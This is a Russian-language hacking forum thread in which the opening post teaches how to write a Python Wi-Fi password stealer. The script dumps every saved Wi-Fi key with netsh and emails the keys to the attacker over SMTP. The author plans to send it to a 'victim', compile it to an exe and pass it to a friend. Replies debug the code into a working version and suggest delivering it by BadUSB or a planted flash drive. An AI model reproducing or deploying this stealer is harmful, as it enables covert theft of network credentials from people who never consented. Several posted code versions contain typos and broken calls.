Интересно Написание стиллера паролей от wifi

Anorali

Pro Member
Сообщения
91
Оценка реакций
134
perekhvat-i-analiz-wifi-trafika-02.jpg
Всем привет)
Захотел написать статью о создании стиллера, ну так вот...

Не знаю, можно ли называть эту прогу стиллером или нет, но суть скрипта заключается в том, что он ворует чужой пароль от wifi.

Работать это будет так:

1) засылаем эту прогу жертве
2) прога пиздит пароли от всех wifi сетей, когда либо подключённых к этому устройству
3) отправляет эти пароли к нам на почту

Использовать будем python, потому что он удобен, понятен и в других ЯП я не очень разбираюсь)

Для начала импортируем нужные библиотеки:

Python:
import subprocess # для управления системой
import smtplib # для отправки сообщения на почту
Теперь, напишем функцию, отправляющую отчёт нам на электронный ящик:

Python:
def send_mail(email, password, message): # назовём её "отправка сообщения" и передадим в неё три параметра
    server = smtplib.SMTP("smtplib.gmail.com", 587) # приказ подключиться к smtp гугловской почты по 587 порту
    server.starttls() # запуск
    server.login(email, password) # авторизация. 1ый параметр - ваш адрес, 2ой - пароль от вашего адреса электронной почты, с это почты и будет отправлено письмо
    server.sendmail(email, email, message) # отправка сообщения. 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо и 3ий параметр - переменная с содержимым сообщения
    server.quit() # закрытие соединения
Затем создадим переменную с командой, позволяющая просмотреть все wifi сети, когда либо подключённых к этому устройству

Python:
command = "netsh wlan show profile"
С помощью subprocess выполним эту команду и запишем результат в переменную "сети"

Python:
networks = subprocess.check_output(command, shell=True)
Но помимо названия сетей, мы можем наблюдать и другие слова, они нам не нужны, их мы уберём с помощью библиотеки "re"

Python:
import re
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
Дальше мы сделаем перебор нашего списка с именами сетей и получим пароли от каждой из них, которые в последствии запишем в переменную "результат" и отправим нам на почту

Python:
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear" # команда
    current_result = subprocess.check.output(command, shell=True) # выполнение команды и её запись в переменную "текущий результат"
    result = result + current_result # затем создаётся переменная "результат", которая записывает в себя предыдущий результат команды и текущий
И отправка на почту

Python:
send.mail("my_email", "my_password", result) # 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо(указывайте свой адрес) и 3ий параметр - результат выполнения нашей программы.
Теперь чистый код

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send.mail("my_email", "my_password", result)
На этом всё) Скрипт получился довольно лёгкий и маленький, вам остаётся превратить его в exe и закинуть другу)
Всем пока!
 
Последнее редактирование модератором:

CMDfromBAT

"Рыбак" со стажем
Moderator
Сообщения
263
Оценка реакций
462
Всем привет)
Захотел написать статью о создании стиллера, ну так вот...

Не знаю, можно ли называть эту прогу стиллером или нет, но суть скрипта заключается в том, что он ворует чужой пароль от wifi.

Работать это будет так:

1) засылаем эту прогу жертве
2) прога пиздит пароли от всех wifi сетей, когда либо подключённых к этому устройству
3) отправляет эти пароли к нам на почту

Использовать будем python, потому что он удобен, понятен и в других ЯП я не очень разбираюсь)

Для начала импортируем нужные библиотеки:

Python:
import subprocess # для управления системой
import smtplib # для отправки сообщения на почту
Теперь, напишем функцию, отправляющую отчёт нам на электронный ящик:

Python:
def send_mail(email, password, message): # назовём её "отправка сообщения" и передадим в неё три параметра
    server = smtplib.SMTP("smtplib.gmail.com", 587) # приказ подключиться к smtp гугловской почты по 587 порту
    server.starttls() # запуск
    server.login(email, password) # авторизация. 1ый параметр - ваш адрес, 2ой - пароль от вашего адреса электронной почты, с это почты и будет отправлено письмо
    server.sendmail(email, email, message) # отправка сообщения. 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо и 3ий параметр - переменная с содержимым сообщения
    server.quit() # закрытие соединения
Затем создадим переменную с командой, позволяющая просмотреть все wifi сети, когда либо подключённых к этому устройству

Python:
command = "netsh wlan show profile"
С помощью subprocess выполним эту команду и запишем результат в переменную "сети"

Python:
networks = subprocess.check_output(command, shell=True)
Но помимо названия сетей, мы можем наблюдать и другие слова, они нам не нужны, их мы уберём с помощью библиотеки "re"

Python:
import re
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)
Дальше мы сделаем перебор нашего списка с именами сетей и получим пароли от каждой из них, которые в последствии запишем в переменную "результат" и отправим нам на почту

Python:
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear" # команда
    current_result = subprocess.check.output(command, shell=True) # выполнение команды и её запись в переменную "текущий результат"
    result = result + current_result # затем создаётся переменная "результат", которая записывает в себя предыдущий результат команды и текущий
И отправка на почту

Python:
send.mail("my_email", "my_password", result) # 1ый параметр - с какого адреса будет отправлено письмо(указывайте тот, с которого проводили авторизацию), 2ой параметр - адрес на который придёт письмо(указывайте свой адрес) и 3ий параметр - результат выполнения нашей программы.
Теперь чистый код

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send.mail("my_email", "my_password", result)
На этом всё) Скрипт получился довольно лёгкий и маленький, вам остаётся превратить его в exe и закинуть другу)
Всем пока!
Как я сам до этого не додумался?
Очень полезно, учитывая что часто приходится физически работать с жертвой)
 
  • Like
Реакции: RomaDroID и Anorali

Albex

Member
Сообщения
33
Оценка реакций
24
Ну это надо по соседству с жертвой жить. WiFi, а также многие другие пароли (из браузеров и т.д.) ворует тестирует хорошо, например, lazagne. Тоже на python написана. Но самому написать всегда приятно.
 
Последнее редактирование:

pavelpers123

Member
Сообщения
5
Оценка реакций
6
привет, я в хакерстве на питон не оч шарю \: , я получил вот эту ошибку когда запускал код

File *путь к файлу*, line 48, in <module>
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)
File *путь к файлу*, line 239, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object

люди помогите плиз
 

Anorali

Pro Member
Сообщения
91
Оценка реакций
134
привет, я в хакерстве на питон не оч шарю \: , я получил вот эту ошибку когда запускал код

File *путь к файлу*, line 48, in <module>
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)
File *путь к файлу*, line 239, in findall
return _compile(pattern, flags).findall(string)
TypeError: cannot use a string pattern on a bytes-like object

люди помогите плиз
чекни личку
 

Anorali

Pro Member
Сообщения
91
Оценка реакций
134
Что-то мне захотелось сверить свой код и свою статью и что же я заметил, а то, что кое-что пропустил -
когда мы создаём перебор паролей нам надо где-то сохранять первый результат, дабы в дальнейшем добавить и второй, и поэтому я создал переменную result, вот только создать её надо за пределами перебора и указать как пустую строку

Python:
result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result
 
  • Like
Реакции: CMDfromBAT

Anorali

Pro Member
Сообщения
91
Оценка реакций
134
Что-то мне захотелось сверить свой код и свою статью и что же я заметил, а то, что кое-что пропустил -
когда мы создаём перебор паролей нам надо где-то сохранять первый результат, дабы в дальнейшем добавить и второй, и поэтому я создал переменную result, вот только создать её надо за пределами перебора и указать как пустую строку

Python:
result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result
короче внимательней мне свою писанину проверять надо, чтоб таких инцидентов больше не было
 
  • Like
Реакции: CMDfromBAT

Terezamain

Member
Сообщения
45
Оценка реакций
33
и не факт что так легко подсунуть файл жертве соседу и еще заставить его запустить
тема бесполезна
 
  • Like
Реакции: CMDfromBAT

pavelpers123

Member
Сообщения
5
Оценка реакций
6
и не факт что так легко подсунуть файл жертве соседу и еще заставить его запустить
тема бесполезна
ну можно сделать что бы за тебя все сделала bad usb + есть утилиты которые запускают прогу всем кто подключен к wifi
 

CMDfromBAT

"Рыбак" со стажем
Moderator
Сообщения
263
Оценка реакций
462
ну можно сделать что бы за тебя все сделала bad usb + есть утилиты которые запускают прогу всем кто подключен к wifi
Камон, достаточно прост флешку подкинуть и все. Все просто и понятно, дети
 
  • Like
Реакции: User_Undefined и Anorali

pavelpers123

Member
Сообщения
5
Оценка реакций
6
я исправил код, теперь все вроде ботает)

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profiles"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)

result = []
wifiname = []

for network_name in network_names_list:
    command = str ("netsh wlan show profile " + network_name + " key = clear")
    try:
        current_result = subprocess.check_output(command, shell=True)
        current_result = current_result.decode('ISO-8859-1')
        current_result = re.findall("(?:Content\s*:\s)(.*)", current_result)
        wifiname.append(network_name)
        if (str (current_result) == '[]'):
            current_result = "  пароль не обнаружен    "
        result.append(current_result)
    except:
           pass

answer = ""

for i in range(len(wifiname)):
    answer = answer + '\n' + str(wifiname) + '\n'
    answer = answer + str(result)[2:len(str(result)) - 4] + '\n'
send_mail("my_email", "my_password", answer)
 
  • Like
Реакции: Anorali

Anorali

Pro Member
Сообщения
91
Оценка реакций
134
я исправил код, теперь все вроде ботает)

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profiles"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)

result = []
wifiname = []

for network_name in network_names_list:
    command = str ("netsh wlan show profile " + network_name + " key = clear")
    try:
        current_result = subprocess.check_output(command, shell=True)
        current_result = current_result.decode('ISO-8859-1')
        current_result = re.findall("(?:Content\s*:\s)(.*)", current_result)
        wifiname.append(network_name)
        if (str (current_result) == '[]'):
            current_result = "  пароль не обнаружен    "
        result.append(current_result)
    except:
           pass

answer = ""

for i in range(len(wifiname)):
    answer = answer + '\n' + str(wifiname) + '\n'
    answer = answer + str(result)[2:len(str(result)) - 4] + '\n'
send_mail("my_email", "my_password", answer)
красава! не поленился, запарился)
 

Anorali

Pro Member
Сообщения
91
Оценка реакций
134
я исправил код, теперь все вроде ботает)

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtplib.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profiles"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Рrofile\s*:\s)(.*)", networks)

result = []
wifiname = []

for network_name in network_names_list:
    command = str ("netsh wlan show profile " + network_name + " key = clear")
    try:
        current_result = subprocess.check_output(command, shell=True)
        current_result = current_result.decode('ISO-8859-1')
        current_result = re.findall("(?:Content\s*:\s)(.*)", current_result)
        wifiname.append(network_name)
        if (str (current_result) == '[]'):
            current_result = "  пароль не обнаружен    "
        result.append(current_result)
    except:
           pass

answer = ""

for i in range(len(wifiname)):
    answer = answer + '\n' + str(wifiname) + '\n'
    answer = answer + str(result)[2:len(str(result)) - 4] + '\n'
send_mail("my_email", "my_password", answer)
попробуй вот это:

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send_mail("email", "password", result)
 
  • Like
Реакции: pavelpers123

pavelpers123

Member
Сообщения
5
Оценка реакций
6
не работает, но это потому что у меня есть сохраненые пароли от режима модема айфона, и cmd спецально скрывает или он просто не может выводить русские символы и получается имя этого wifi - "Iphone(?????)" поэтому нужно также пропускать когда появляется какая то ошибка.
В 20 строчке
current_result = subprocess.check_output(command, shell=True) (там вместо нижнего подчеркивания точка стоит)

попробуй вот это:

Python:
import subprocess
import smtplib
import re

def send_mail(email, password, message):
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, email, message)
    server.quit()

command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Profile\s*:\s)(.*)", networks)

result = " "
for network_name in network_names_list:
    command = "netsh wlan show profile " + network_name + "key=clear"
    current_result = subprocess.check.output(command, shell=True)
    result = rsult + current_result

send_mail("email", "password", result)
 
  • Like
Реакции: Anorali

Albex

Member
Сообщения
33
Оценка реакций
24
Разве python автоматически не работает только с юникодом?